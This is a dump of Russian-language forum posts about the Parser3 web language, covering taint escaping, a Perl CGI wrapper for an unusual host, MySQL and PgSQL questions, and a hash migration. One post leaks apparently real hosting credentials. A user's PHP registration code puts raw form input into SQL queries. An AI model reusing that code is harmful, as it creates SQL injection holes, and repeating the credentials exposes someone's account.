...Чтобы отменить специальное действие этих символов, их необходимо предварять символом ^. Например, для получения в тексте символа $ нужно записать ^$.[/quot]\
\
2. \
Второе решение: загрузить файл с парсерным кодом через $code[^file::load[]] и добавить в страницу через $code.text\
\
Есть ещё ^rem{} но это другая вещь."
"71769","И еще http://www.parser.ru/examples/tainting/\
\
p.s. Документацию и примеры читать крайне полезно. :)"
"71770","Я бы просто так не обратился если бы taint отработал нормально.\
\
опробовал js  parser-code  regex \
нужно было вывести код ява скрипта.\
решил через колено но в обход парсера вообще\
\
PS/ Спасибо Janek, такой вариант тоже хорош но откинул его. в таком случае код был бы не оптимизирован (в моем случае).\
Но мысль хорошая!!"
"71772","этот код нужно вставлять для каждого поля ввода даты. на странице их несколько \
этот скрипт задает настройки для конкретного поля, в данном случае (id поля - datepicker).\
основа - jquery.\
решение было сделано путем изменения работы яваскрипта.\
единственный минус - все равно не очень правильно, через колено.\
\
С варианом Janek'a - пришлось бы этот код выкладывать в отдельный файл (или несколько файлов для каждого id).\
\
Посмотрите, может будет более красивое решение.\
\
^taint[js][ \
<script type=\"text/javascript\">\
	$(function() {\
		$('#datepicker').datepicker({\
			changeMonth: true,\
			changeYear: true,\
			autoPopUp: 'focus',\
			yearRange: '-30:+30',\
			showButtonPanel: true,\
			maxDate:  '+2y +1m',\
			buttonImage:'calendar.gif',\
			buttonImageOnly: true,\
			buttonText:'Календарь',\
			showOn: 'both'\
\
		});\
	});\
</script>\
]"
"71773","... и параметрами передайте все, что необходимо кастомизировать. Соответсвенно символы $, ^ и ; заэскейпите, если нужно, а параметры возьмите в taint:\
[code]\
@pickerJS[aFieldName;aButtonText]\
  <script type=\"text/javascript\">\
    ^$(function() {\
      ^$('#^taint[js][$aFieldName]').datepicker({\
        changeMonth: true,\
        changeYear: true,\
        autoPopUp: 'focus',\
        yearRange: '-30:+30',\
        showButtonPanel: true,\
        maxDate: '+2y +1m',\
        buttonImage:'calendar.gif',\
        buttonImageOnly: true,\
        buttonText:'^taint[js][$aButtonText]',\
        showOn: 'both'\
      });\
    });\
  </script>\
[/code]"
"71774","Здравствуйте!\
\
Знает ли кто-нибудь способ установить парсер в качестве CGI скрипта когда веб-сервер не поддерживает AddHandler и Action, но поддерживает cgi, mod_rewrite, php, perl, python.\
\
Может быть какой-то подход с mod_rewrite?\
Может кто-нибудь работал с IdeaWebServer?"
"71775","... то никак. Надо смотреть в документацию на сервер - может там есть такая возможность, но называется иначе.\
\
Документации на английском как я понимаю нет?"
"71776","не совсем то что я ожидал, но остановился на этом варианте, спасибо"
"71777","если мне нужно использовать файловые таблицы вместо sql, то как обновить значение поля в таблице?\
например:\
[code]name	age\
Саша	20[/code]\
надо поменять 20 на 21, как это сделать?"
"71778","Но думал я что можно создать скрипт на perl или том что сервер поддерживает. Скрипт тот бы получал папку со страной в Parser3 через $request:query и потом выполнял parser3.cgi предавая эту страницу до parser3.cgi и тот что получил предавал бы в броузер.\
\
Только ещё через mod_rewrite сделать что всё выглядело нормально.\
\
Думаю хорошо?\
\
Но по IdeaWebServer доки - можно сказать что - не существуют.\
Только немножко на польском. Мне кажется что никто кроме одного польского хостера не используется нём. Но может быть что я не прав.\
\
http://home.pl/dokumentacja/funkcjeserwera\
http://translate.google.pl/translate?u=http%3A%2F%2Fhome.pl%2Fdokumentacja%2Ffunkcjeserwera&sl=pl&tl=ru"
"71779","Таблица в Парсере (как и строка) - это неизменяемый объект. Если нужно изменить значение - создавайте новую таблицу... Или подумайте над изменением алгоритма."
"71781","То, что Вы описываете скорее всего сделать можно (т.е. сделать промежуточный cgi-скрипт, который вызовет parser.cgi передав ему имя скрипта и установив переменные окружения по CGI-спецификации). Но у меня есть ощущение, что как \"боевое\" решение это не подойдет."
"71782","[code]$tLog[^table::load[nameless;log.txt]]\
^tLog.menu{\
   <p>$tLog.[b][color=\"#00aa00\"]???[/color][/b]</p>\
}[/code]"
"71784","[code]$tbl[^table::create{name  age\
Саша  20\
}]\
\
# убрали запись Саша\
$tbl[^tbl.select($tbl.name ne 'Саша')]\
\
# добавили нужную\
^tbl.append{Саша  21}[/code]"
"71785","Мне кажется что не работает правильно. Просто вызываю в перле:\
\
[code]\
system(\"/cgi-bin/parser3/parser3.cgi /index.html\");\
[/code]\
\
Парсер возвращает:\
\
\"[Wed Jan 20 10:25:22 2010] [36930] Parser/3.4.0 (compiled on i386-unknown-freebsd6.4) [no request info]\"\
\
Почему?"
"71786","хотя я уже использовал mysql. даже меньше кода пришлось писать для моих нужд :)"
"71787","В Parser 3.4.0 хеш помнит порядок элементов"
"71788","Здраствуйте уважаемые гуру и монстры парсера! Подскажите как решить следующую задачу: есть база в ней таблицы в одну из таблиц вставляю запись при помощи следующего выражения ^connect[$connect_string]{^void:sql{INSERT INTO таблица(поле_1, поле2) VALUES(\"значение_1\", \"значение_2\")}} в момент создания записи автоинкрементом присваивается номер Id этой строки. Так вот вопрос как получить этот номер Id средствами парсера или MySQL? Что-то мозг сломал но ничего не придумал(идея брать последний из таблицы не пойдет, возможны коллизии на мой взгляд)... Заранее спасибо за ответы всем откликнувшемся."
"71789","и ещё: http://www.parser.ru/examples/sql/"
"71790","На самом деле надо понять меняет ли перловый вызов system рабочий каталог для Парсера. Есть подозрение, что надо будет передать полный путь к index.html."
"71791","Идея получить последний мне приходила, но вполне возможна такая ситуация когда MySQL-серверу приходят одновременно (или почти одновременно) две команды на добавление строки от двух разных пользователей, и оба получат один и тот же Id, хотя первый должен получить предпоследний Id и второй последний Id... Или я что-то не правильно понимаю? Заранее спасибо за ответ."
"71792","[quote]\
The ID that was generated is maintained in the server on a per-connection basis. This means that the value returned by the function to a given client is the first AUTO_INCREMENT value generated for most recent statement affecting an AUTO_INCREMENT column by that client. This value cannot be affected by other clients, even if they generate AUTO_INCREMENT values of their own. This behavior ensures that each client can retrieve its own ID without concern for the activity of other clients, and without the need for locks or transactions. \
[/quote]\
\
http://dev.mysql.com/doc/refman/5.1/en/information-functions.html#function_last-insert-id"
"71793","Спасибо попробую сейчас найти ту же документацию на русском языке(плохо как-то с английским) если возникнут вопросы буду доставать :)"
"71794","Теперь расположил я всё (parser3.cgi, test.pl, index.html) в одном каталоге: cgi-bin/parser3\
\
\
[code]system(\"pwd\");[/code]\
возвращает: /cgi-bin/parser3\
\
[code]system(\"ls\");[/code]\
возвращает:\
auto.p\
index.html\
libparser3mysql.so\
parser3.cgi\
test.pl\
\
[code]system(\"./parser3.cgi index.html\");\
system(\"./parser3.cgi ./index.html\");\
system(\"./parser3.cgi < index.html\");[/code]\
\
всегда: no request info"
"71795","... к файлу от корня файловой системы."
"71796","Проблема в том что я не знаю где я нахожусь\
\
DOCUMENT_ROOT=/\
SCRIPT_NAME=/cgi-bin/parser3/test.pl\
SCRIPT_FILENAME=/cgi-bin/parser3/test.pl\
\
http://es1.home.pl/cgi-bin/parser3/test.pl\
h: es1.home.pl\
u: es1\
p: sadlkj230"
"71798","Сделал сайт для клиента который не может сменит хостинга."
"71800","Техподдержка не отвечает. Клиент хочет чтоб сайт заработал сегодня. Деньги уже дал, сайт не работает.\
\
Может быть что я решу поставить сайт на своём аккаунте на лучшем хостинге, но владелец домена (другая персона) сказал что домен будет только указанный на тот необычный хостинг. Клиент сказал что демена не должно менять."
"71801","Т.е. все запросы перекидывать через скрипт (например на PHP) на другой сервер на котором разместить сайт. В принципе не особо лучше варианта с запуском Парсера через Перл.\
\
p.s. Наверное имеет смысл перед началом работы оговаривать с клиентом технические характеристики хостинга."
"71802","В форуме было. Например здесь:\
\
http://www.parser.ru/forum/?id=56839\
http://www.parser.ru/en/forum/?id=39689\
\
Если не ошибаюсь, в PATH_TRANSLATED должен быть\
полный пусть к файлу на парсере, который надо обработать."
"71803","Может быть что сделаем proxy.\
\
Клиент вред началом роботы сказал что ничего не знает. Что хостингом у него занимается сотрудник который расположит сайт на хорошим хостинге."
"71804","Чтобы парсер считал, что его запускают из shell. Тогда ваш код сработает. Очистить надо такие переменные:\
\
// were we started as CGI?\
cgi=\
               getenv(\"SERVER_SOFTWARE\") ||\
               getenv(\"SERVER_NAME\") ||\
               getenv(\"GATEWAY_INTERFACE\") ||\
               getenv(\"REQUEST_METHOD\");"
"71805","perl\
[code]\
$ENV{'SERVER_SOFTWARE'} = '';\
$ENV{'SERVER_NAME'} = '';\
$ENV{'GATEWAY_INTERFACE'} = '';\
$ENV{'REQUEST_METHOD'} = '';\
[/code]"
"71806","perl:\
delete $ENV{'SERVER_SOFTWARE'};\
\
[quot]Если вы видите эту страницу, значит вы установили Parser3 и пытаетесь его протестировать :)[/quot]\
\
Спасибо!"
"71807","[code]\
print(\"Content-type: text/html\\n\\n\");\
delete $ENV{'SERVER_SOFTWARE'};\
delete $ENV{'SERVER_NAME'};\
delete $ENV{'GATEWAY_INTERFACE'};\
delete $ENV{'REQUEST_METHOD'};\
\
if (length ($ENV{'QUERY_STRING'}) > 0){\
      $buffer = $ENV{'QUERY_STRING'};\
      @pairs = split(/&/, $buffer);\
      foreach $pair (@pairs){\
           ($name, $value) = split(/=/, $pair);\
           $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(\"C\", hex($1))/eg;\
           $in{$name} = $value; \
      }\
 }\
\
system(\"/cgi-bin/parser3/parser3.cgi \".$in{'p3'});\
[/code]\
\
Такой скрипт на Перле работает слишком хорошо. $form работает. Но - что мне тепер делать чтоб $cookies тоже работало?"
"71808","Тогда они \"сами собой\" подцепятся - видимо работают только в CGI варианте вызова. Ну или парсить куки самому из переменных окружения (HTTP_COOKIE)."
"71809","по всему видно что пример, который я вам предложил, вы даже не читали. Там достаточно комментариев и доп. ссылок, чтобы понять что нужно делать.\
\
Любая дальнейшая неконструктивная переписка лишь усилит ощущение что вы не хотите разобраться, а таким людям здесь не помогают."
"71810","Все привет (:\
\
Не так давно решил попробовать изучить Parser.\
Нужна подсказка по выводу atom-rss из яндекс.фото\
http://api-fotki.yandex.ru/api/users/xlocox/photos/\
\
Код приблизительно следующий.\
\
$file[^file::load[text;http://api-fotki.yandex.ru/api/users/xlocox/photos/]]\
\
$xdoc[^xdoc::create[$file]]\
$entryList[^xdoc.select[/feed/entry]]\
^for[i](0;$entryList-1){\
	$node[$entryList.$i]\
    $content[^xdoc.selectSingle[content]]\
    $content.nodeName[^content.getAttribute[src]] <br />\
}\
\
\
что я делаю не так? буду рад любым подсказкам."
"71811","а что именно вы пытаетесь сделать этой конструкцией:\
[quot]\
$content.nodeName[^content.getAttribute[src]] <br />\
[/quot]"
"71812","просто вывести src из content в каждой записи…"
"71813","я сделал такое и работает\
[code]\
$file[^file::load[text;http://api-fotki.yandex.ru/api/users/xlocox/photos/]]\
$text[^file.text.match[xmlns=\"[^^\"]*\" ][]{}]\
$xdoc[^xdoc::create{^untaint{$text}}]\
\
$entryList[^xdoc.select[feed/entry]]\
\
^for[i](0;$entryList-1){\
	$node[$entryList.$i]\
	$content[^node.selectSingle[content]]\
	^content.getAttribute[src]<br/>\
}\
[/code]\
\
Кроме того у вас в коде следущая ошибка:\
[code]$content.nodeName[^content.getAttribute[src]][/code]\
Ключу nodeName вы присвоили src из content\
Должно было ещё вывести src в броузер:\
[code]$content.nodeName <br/>[/code]\
или сразу вывести не присваивая ничего в $content.nodeName"
"71814","спасибо, понятно (:\
пошел изучать дальше ((:"
"71815","[quot]Мы хотели бы сообщить вам, что в связи с архитектурой нашего хостинга, такая функциональность\
не представляется возможным осуществить.[/quot]"
"71816","Первые и другие заработало - но всё равно: не правильно\
\
В качестве интерпретатора не работает $cookies и $form через POST.\
В качестве CGI - когда что нибудь находиться в строке запроса (QUERY): Парсер говорит что \"CGI: illegal call (1)\".\
\
Что в таком случае лучше делать?"
"71817","[quote]В качестве CGI - когда что нибудь находиться в строке запроса (QUERY): Парсер говорит что \"CGI: illegal call (1)\".\
[/quote]\
\
Для диагностики проблемы вызывайте не парсер, а скрипт, показывающий переменные окружения.\
\
#!/bin/sh\
echo \"Content-type: text/plain\"\
echo\
env\
\
Думаю мы подскажем, что там может не нравится парсеру."
"71818","Я сравнил что в $env на Apache с том что на \"IdeaWebServer v0.6\". Указал несколько переменных. Теперь заработало несмотря на то что нет такой возможности ;)\
\
Работает:\
form через post и get\
cookies\
\
Ещё только собраться с необычным mod_rewrite :( и будет хорошо\
\
Большое спасибо за советы!!!\
\
теперь такое у меня:\
[code]\
$ENV{'PATH_INFO'} = '/index.html';\
$ENV{'PATH_TRANSLATED'} = $ENV{'PATH_INFO'};\
$ENV{'SCRIPT_NAME'} = '/cgi-bin/parser3/parser3.cgi';\
$ENV{'SCRIPT_FILENAME'} = $ENV{'SCRIPT_NAME'};\
$ENV{'REQUEST_URI'} = $ENV{'PATH_INFO'};\
\
if(defined($ENV{'QUERY_STRING'})){\
	$ENV{'REQUEST_URI'} = $ENV{'PATH_INFO'}.'?'.$ENV{'QUERY_STRING'};\
}\
\
system(\"/cgi-bin/parser3/parser3.cgi\");\
[/code]\
\
Ещё подскажите мне: хорошо тот задачю делать на perl или лучше на php или python? Всё у них работает.\
\
Ещё env прежде прежде ручного указания\
[code]REMOTE_HOST=CMPC009-076.CNet2.Gawex.PL\
REMOTE_ADDR=84.205.9.76\
REMOTE_PORT=2508\
SERVER_NAME=es1.home.pl\
SERVER_PORT=80\
SERVER_ADDR=62.129.198.53\
SERVER_ID=es1@home\
SERVER_SOFTWARE=IdeaWebServer/v0.60\
SERVER_PROTOCOL=HTTP/1.1\
GATEWAY_INTERFACE=CGI/1.1\
QUERY_STRING=\
REQUEST_METHOD=GET\
REQUEST_URI=/test2.pl\
SCRIPT_NAME=/test2.pl\
SCRIPT_FILENAME=/test2.pl\
SCRIPT_URL=/test2.pl\
SCRIPT_URI=http://es1.home.pl/test2.pl\
DOCUMENT_ROOT=/\
GATEWAY_ULTRACGI=011d3ce978098a5097ce73160527000d\
HTTP_HOST=es1.home.pl\
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)\
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
HTTP_ACCEPT_LANGUAGE=pl,en-us;q=0.7,en;q=0.3\
HTTP_ACCEPT_ENCODING=gzip,deflate\
HTTP_ACCEPT_CHARSET=ISO-8859-2,utf-8;q=0.7,*;q=0.7\
HTTP_KEEP_ALIVE=300\
HTTP_CONNECTION=keep-alive\
HTTP_COOKIE=test=nie%20ma%20rzeczy%20nie%20mo%u017Cliwych\
HTTP_CACHE_CONTROL=max-age=0\
PATH=/bin\
TMPDIR=/tmp\
TMP=/tmp\
FRONTPAGE_LWS_PATH=/.\
SERVER_ADMIN=es1@es1.home.pl\
CGI_PARSER_CONFIG=/cgi-bin/parser3/auto.p[/code]"
"71819","[quote]Ещё подскажите мне: хорошо тот задачю делать на perl или лучше на php или python? Всё у них работает.[/quote]\
\
Сложно сказать, зависит от того, реализована поддержка perl/php/python в виде модуля или в формате CGI. В виде модуля понятно быстрее будет. Если все в виде CGI - то заметной разницы нет - у perl медленный запуск только в случае необходимости компиляции большого количества исходников, чего у вас нет. \
\
P.S. Удивило - $ENV{'PATH_INFO'} = '/index.html'; $ENV{'PATH_TRANSLATED'} = $ENV{'PATH_INFO'};\
У вас index.html находится на диске по пути /? По-идее должно быть $ENV{'PATH_TRANSLATED'} = $ENV{'DOCUMENT_ROOT'}.$ENV{'PATH_INFO'};"
"71820","Написал, и заметил, что действительно, у вас DOCUMENT_ROOT=/. Странная однако конфигурация. :)"
"71821","Был сайт на парсере.\
Новая версия сайта - на другой платформе (python), теперь туда надо перенести все данные.\
Все хорошо, затык только с паролями пользователей, которые хранятся в зашифрованном виде:\
^math:crypt[$passwd;^$apr1^$] (Мишин класс авторизации)\
\
Как я понимаю, пароль не расшифровать. По крайней мере, сделать это можно только брутфорсом, а для нескольких тысяч пользователей это займет слишком много времени.\
\
Тогда есть вариант сделать на новой платформе проверку пароля через его шифрацию таким же методом.\
\
Вопрос: что это за метод шифрования?\
По документации не очень въехал. Это же md5? Но тут еще используется salt. Откуда он берется?"
"71826","Чтобы можно было сохранять из $request:body binary-файл, что-то вроде: \
\
^request:body.save[binary;...] \
или\
^file::load[$request:body]\
\
Очень упростило бы жизнь :)"
"71828","что куда сохранялось?\
у вас какая-то спец. задача? опишите ее."
"71829","Задача — в $request:body находится двоичный файл, его нужно сохранить на сервер. \
\
А $request:body — текстовая строка,при попытке сохранить или как-то обработать двоичные данные они \"портятся\".\
\
** сейчас выходим из положения кодированием/декодированием двоичных файлов в base64, но это не всегда удобно :) \
\
Если бы из $request:body можно было сохранять бинарные данные в файл это существенно облегчило бы жизнь."
"71830","Проверял работу на цифрах (так быстрее), всё работало, а потом решил проверить длинные пароли, смесь букв и цифр, и выяснил, что не работает!..((( Подскажите, где косяк?.. Буквы вообще не принимает...((( Что может быть за ошибка?.."
"71832","Это функция:\
function reg_in(){\
//global $out;\
include_once(\"db_connect.inc\");	\
if (isset($_POST['submit']))\
{\
	if(empty($_POST['login']))\
	{		\
	$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Вы не ввели логин </a></center>'; // Здесь нужно ввести сохранение уже введённых данных!!!	\
	}	\
	elseif(empty($_POST['password']))\
	{\
	$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Вы не ввели пароль </a></center>';	\
	}\
	elseif(empty($_POST['password2']))\
	{\
	$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Вы не ввели подтверждение пароля </a></center>';	\
	}\
	elseif($_POST['password'] != $_POST['password2'])\
	{\
	$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Введенные пароли не совпадают </a></center>';	\
	}\
	elseif(empty($_POST['email']))\
	{\
	$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Вы не ввели E-mail </a></center>';	\
	}	\
	else\
		header('Refresh:5; URL=index.php');\
		//{\
		$login=trim($_POST['login']);\
		if(!eregi(\"[А-Яа-яA-Za-z' -]{1,50}\",$login))\
		{		\
		$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Необходимо правильно заполнить поле \"Имя\" </a></center>';\
		return;\
		//header('Refresh:3; URL=index.php?action=add_reg');\
		}\
		$password=trim($_POST['password']);\
		if (strlen($password) < 3)\
		{\
		$_GET['$out[center]'].='<br><br><br> <center> <a href=\"?action=add_reg\">Пароль не должен быть короче, чем 3 символа!</a></center>';\
		return;\
		}\
		if (!eregi(\"^[A-Za-z0-9]{3,20}\", $password) and $password != \"\")\
		{\
		$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\">Имя должно состоять из латинских букв и/или цифр!</a></center>';\
		return;\
		}		\
		$email=trim($_POST['email']); // функцию pregtrim() возьмите выше в примере\
		// если пусто - выход\
		//if (strlen($email)==0) return -1;\
		if (!preg_match(\"/^[a-z0-9_-]{1,20}+(\\.){0,2}+([a-z0-9_-]){0,5}@(([a-z0-9-]+\\.)+(com|net|org|mil|\".\
		\"edu|gov|arpa|info|biz|inc|name|[a-z]{2})|[0-9]{1,3}\\.[0-9]{1,3}\\.[0-\".\
		\"9]{1,3}\\.[0-9]{1,3})$/is\",$email)){\
		$_GET['$out[center]'].= '<br><br><br> <center> <a href=\"?action=add_reg\"> Необходимо правильно заполнить поле \"Email\" </a></center>';\
		//return -1;\
		return $email;\
		}\
		$password = $_POST['password'];\
		$password2 = $_POST['password2'];\
		$email = $_POST['email'];\
		$query = \"SELECT `id`\
		FROM `usersdb`\
		WHERE `nick`='{$login}' AND `pass`='{$password}' 			\
		\"; //AND `pass`='{$password}' убрал и проверку пароля, потому что получается, по одному логину с разными паролями можно войти... (если регистрировался!!!)\
		$sql = mysql_query($query) or die(mysql_error());\
		if (mysql_num_rows($sql) > 0)\
		{\
		$_GET['$out[center]'].= '<br><br><br> <center> Такой логин уже существует </center>';\
		}		\
		else\
		{\
			$query = \"INSERT INTO `usersdb`(`nick`, `pass`, `email`, `status`)\
			VALUES ('$login', \".\"md5($password)\".\", '$email', 1)\";\
			$result = mysql_query($query) or die(mysql_error());;\
			//header(\"Location: $_SERVER[PHP_SELF]\");\
			$_GET['$out[center]'].=  'Регистрация прошла успешно';\
		}\
	//}\
}\
return;\
}\
\
Это форма:\
<?php\
$_GET['$out[center]'].=\"<border-left-widht=100px\
<script type=\\\"text/javascript\\\">\
     function valid(){\
        if(frmLogin.login.value==''){\
            document.getElementById('message').innerHTML='Заполните логин';\
                 frmLogin.login.focus();\
            return false;\
        }\
        if(frmLogin.password.value==''){\
            document.getElementById('message').innerHTML='Заполните пароль';            \
            return false;\
        }\
        if(frmLogin.password2.value!=frmLogin.password.value){\
           document.getElementById('message').innerHTML='Пароли не совпадают';            \
            return false;\
        }\
        if(frmLogin.email.value==''){\
            document.getElementById('message').innerHTML='Заполните e-mail';            \
            return false;\
        }\
        return true;\
    }\
\
</script>\
			<fieldset \
				<html>\
					<head>\
					<title>Скрипт регистрации</title>\
					</head>\
					<body>\
					<table align=center\
						<b> Поля, обозначенные звёздочкой * , обязательны к заполнению </b><br><br>\
						<form action='?action=reg_in' method='POST' onsubmit=\\\"return valid()\\\" name=frmLogin>\
						<tr>\
						<td>Имя: *</td>\
						<td><input type=text name=login></td><div id='message'></div>\
						</tr>\
						<tr>\
						<td>Пароль: *</td>\
						<td><input type=password name=password></td>\
						</tr>\
						<tr>\
						<td>Повторите пароль: *</td>\
						<td><input type=password name=password2></td>\
						</tr>\
						<tr>\
						<td>Email: *</td>\
						<td><input type=text name=email></td>\
						</tr>\
						<tr>\
						<td align=center colspan=2><input type=submit value=Зарегистрироваться name=submit></td>\
						</tr>\
						</form>\
					</table>\
					</body>\
				</html>\";\
$_GET['$out[center]'].=\"</fieldset>\";\
?>"
"71835","Уважаемые гуру и монстры парсера подскажите чайнику как ПРАВИЛЬНО решить задачу. Есть таблица MySQL в ней есть два столбца, допустим под условия выборки у нас попадают три строчки. Надо получить в итоге цифру: \
СУММА=(СТОЛБЕЦ1_ПЕРВОЙ_СТРОКИ*СТОЛБЕЦ2_ПЕРВОЙ_СТРОКИ)+(СТОЛБЕЦ1_ВТОРОЙ_СТРОКИ*СТОЛБЕЦ2_ВТОРОЙ_СТРОКИ)+...+(СТОЛБЕЦ1_N-ОЙ_СТРОКИ*СТОЛБЕЦ2_N-ОЙ_СТРОКИ)\
Как лучше(правильнее, эстетичнее, экономичнее и т.д.) решать эту задачу, средствами парсера или средствами MySQL и возможно ли подобное решить средствами MySQL? Если ткнете носом в функцию SQL будет вообще замечательно. Заранее спасибо за ответ."
"71836","[code]SELECT\
	SUM(col_1 * col_2) as sum\
FROM\
	table[/code]"
"71837",".htaccess\
[code]\
RewriteEngine on\
RewriteOptions maxredirects=5\
\
RewriteRule (.*)\\.html$ parser3.pl\
RewriteRule (.*)/$ parser3.pl\
RewriteRule ^$ parser3.pl\
[/code]\
\
parser3.pl\
[code]\
$parserDir = \"/hidden/bin/parser3/\";\
$filename = $ENV{'SCRIPT_URL'};\
\
#some rewrite rules (from apache's .htaccess)\
#RewriteRule ^(.*/)n\\.([0-9]*)/$ $1/?mod_news.id=$2 [L,QSA]\
@matches = ($filename =~ m|(.*/)n\\.([0-9]*)/$|);\
if(scalar(@matches) == 2){\
	$filename = @matches[0];\
	$ENV{'QUERY_STRING'} = \"mod_news.id=\".@matches[1];\
}\
\
\
if(substr($filename,length($filename)-1) eq \"/\"){\
	$filename = $filename.\"index.html\";\
}\
\
$ENV{'PATH_INFO'} = $filename;\
$ENV{'PATH_TRANSLATED'} = \"/\".$ENV{'PATH_INFO'};\
$ENV{'SCRIPT_NAME'} = $parserDir.'parser3.cgi';\
$ENV{'CGI_PARSER_CONFIG '} = $parserDir.'auto.p';\
$ENV{'SCRIPT_FILENAME'} = $ENV{'SCRIPT_NAME'};\
\
delete $ENV{'PATH_REDIRECTED'};\
$ENV{'REDIRECT_URL'} = $ENV{'PATH_INFO'};\
\
if(-e $ENV{'PATH_TRANSLATED'}){\
	system($ENV{'SCRIPT_NAME'});\
}else{\
	print(\"HTTP/1.1 404 Not Found\\n\");\
	print(\"Server: Parser3 Wrapper\\n\");\
	print(\"Content-Type: text/html\\n\");\
	print(\"Connection: Keep-Alive\\n\\n\");\
	print(\"<html><head><title>404 Not Found</title></head>\");\
	print(\"<body><h1>404 Not Found</h1><p>The request was not found on this server.</p>\");\
\
#	display env for debugging\
#	print('<pre style=\"border: 1px solid #000; padding: 10px; background-color: #eee\">');system(\"env\");print(\"</pre>\");\
\
	print(\"</body></html>\");\
}\
[/code]\
\
[b]Большое спасибо для Moko и Sumo за советы и поддержку![/b]"
"71838","спасибо сейчас попробую"
"71839","Это кусок лога, на чём упал парсер.\
[code]\
INSERT INTO tblex (page,xxx1,xxx2) VALUES ('xxx.htm','2010-02-01 00:16:14','a href='http://xxx.ru/' target='_blank' Женский журнал - Записки 'дикой' хозяйки /a #04\
декабря 2009)\
[/code]\
\
Вопрос такой, раньше драйвер к PG ескейпил подобные конструкции (по-крайней мере мне так казалось :) ), \
Почему грязные данные пришедшие из формы засовываются в SQL-запрос без соответствующих преобразований?\
\
С чем связаны такие изменения?"
"71840","Насколько понимаю, в драйвере только перекодировка, ескейпинг в самом парсере. То есть не работало бы не только в Pgsql. \
\
Далее, не вижу завершающей ' перед ). Как выглядит код на парсере?\
\
P.S. При записи в лог ескейпинг и не должен происходить (вы же не говорите там ^untaint[sql]{$query}?), так что лог это не показатель."
"71841","...благодаря которым эскейпинг стал осуществляться средствами PgSQL.\
\
[url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/pgsql/parser3pgsql.C.diff?r1=1.25&r2=1.26\"]patch[/url] был прислан egr-ом, если честно, то я даже не проверял :)"
"71843","И метод quote действительно поменялся:\
\
[quote]        const char* quote(void *aconnection, const char *from, unsigned int length){\
                Connection& connection=*static_cast<Connection*>(aconnection);\
\
                char *result=(char*)connection.services->malloc_atomic(length*2+1);\
                int err=0;\
                PQescapeStringConn(connection.conn, result, from, length, &err);\
                return result;\
        }\
[/quote]\
\
Но вроде как все по документации (http://www.postgresql.org/docs/7.3/static/libpq-exec.html), разве что _throw в случае ошибки бы не помешал, но это уже мелочи..."
"71844","') - это плод моих кривых рук. Ошибка именно в том, что не экранируются символы."
"71846","patch from egr: .bind IN variables support, TODO: OUT, INOUT, from Egr\
\
присутствует..."
"71848","вот прямо такой код падает?\
[code]\
^void:sql{INSERT INTO tblex (page) VALUES ('^taint[']')}\
[/code]"
"71849","видимо глюк в скрипте"
"71850","Есть 2 хоста:\
1. Сайт на UTF-8\
2. \"Шлюз\" к ODBC с\
[code]\
$response:charset[utf-8]\
$request:charset[windows-1251]\
[/code]\
\
Сайт через ^table::load[http://...] получает табличку от шлюза, которую тот выдает через $response:body[...]\
Строка подключения:\
[code]\
^connect[odbc://DSN=***^;UID=***^;PWD=***?ClientCharset=windows-1251&SQL=MSSQL]{...}\
[/code]\
Проблема в том что html-код из этой таблицы никак не хочет untaint-иться. Русский текст отображается. При этом sql-запрос с шлюза на шлюз (т.е. отсутствует http-запрос) untaint-ится нормально.\
Что это может быть?"
"71851","Добавлением предварительного untaint при выдаче таблицы\
\
[code]$response:body[^untaint{...}][/code]"
"71852","Спасибо! :)\
Очень этой возможности не хватало — ещё раз, большое спасибо! :)"
"71853","Собственно субж, в иксами никогда не работал, пытаюсь установить парсер на хостинг"
"71855","хотим знать что нового ;)"
"71857","В разделе скачать есть версия для 64-х битного Linux. Она разве не работает? Что выводит ldd parser3.cgi?"
"71858","как лучше поступить:\
\
[code]\
$result[^file:dirname[$fn]/^file:justname[$fn].v${VERSION}.^file:justext[$fn]]\
[/code]\
\
или:\
\
[code]\
$result[^fn.match[\\.(js|css)^$][g]{.v${VERSION}.$match.1}]\
[/code]\
\
или?"
"71859","... и скорее всего чуть медленнее, но сомнительно, что Вы это почувствуете.\
\
p.s. А вот флаг g из матча нужно убрать - он там лишний."
"71860","Здравствуйте!\
\
Обновил исходники от моего cms.\
Будет мне очень приятно когда кто нибудь захочет скачать и тестировать. Мне тоже нужна помочь. Я не знаю хорошо русского языка. Надо исправить опечатки в админке (/classes/internal/locale.p) и на [url=\"http://cms.forjesus.eu\"]сайте cmsки[/url].\
\
исходники\
http://cms.forjesus.eu/download/c4j-1.0beta-full.tgz\
http://cms.forjesus.eu/download/c4j-1.0beta-without_external.tgz\
\
демо\
http://demo.cms.forjesus.eu/\
u: admin\
p: cmsADMIN"
"71861","- всё что сменилось до сих пор: http://cms.forjesus.eu/n.4/\
- демо\
http://demo.cms.forjesus.eu/_admin\
u: admin\
p: cmsADMIN\
\
(я не могу сменить ничего в предыдущем сообщени потому что я не залогинился в форум)"
"71862","Добрый день.\
\
На хостинге установлена 64-битная FreeBSD, как и говорит нам phpinfo():\
[quot]FreeBSD mini5-a.majordomo.ru 7.2-STABLE FreeBSD 7.2-STABLE #0: Thu Aug 6 20:46:52 MSD 2009 root@mini5.majordomo.ru:/usr/obj/usr/src/sys/GENERIC amd64[/quot]\
\
Скачиваю и распаковываю файл http://www.parser.ru/f/1/download/freebsd7/parser3_4_0_freebsd72Rx64_cgi_xml.tar.gz\
Но при обращении к нему из браузера получаю 500. Сново о «Premature end of script headers» :-)\
\
Пробовал 32-битную версию и даже скомпилированный под другими версиями FreeBSD — результат одинаковый.\
\
Где я не прав?"
"71866","Как-то задумался, а что если в таблице будет гигантское количество записей?\
Их хоть и можно удалять, но AUTO INCREMENT таблицы обычно же не уменьшают на удалённое количество записей.\
Есть ли какой-то лимит у AUTO INCREMENT?\
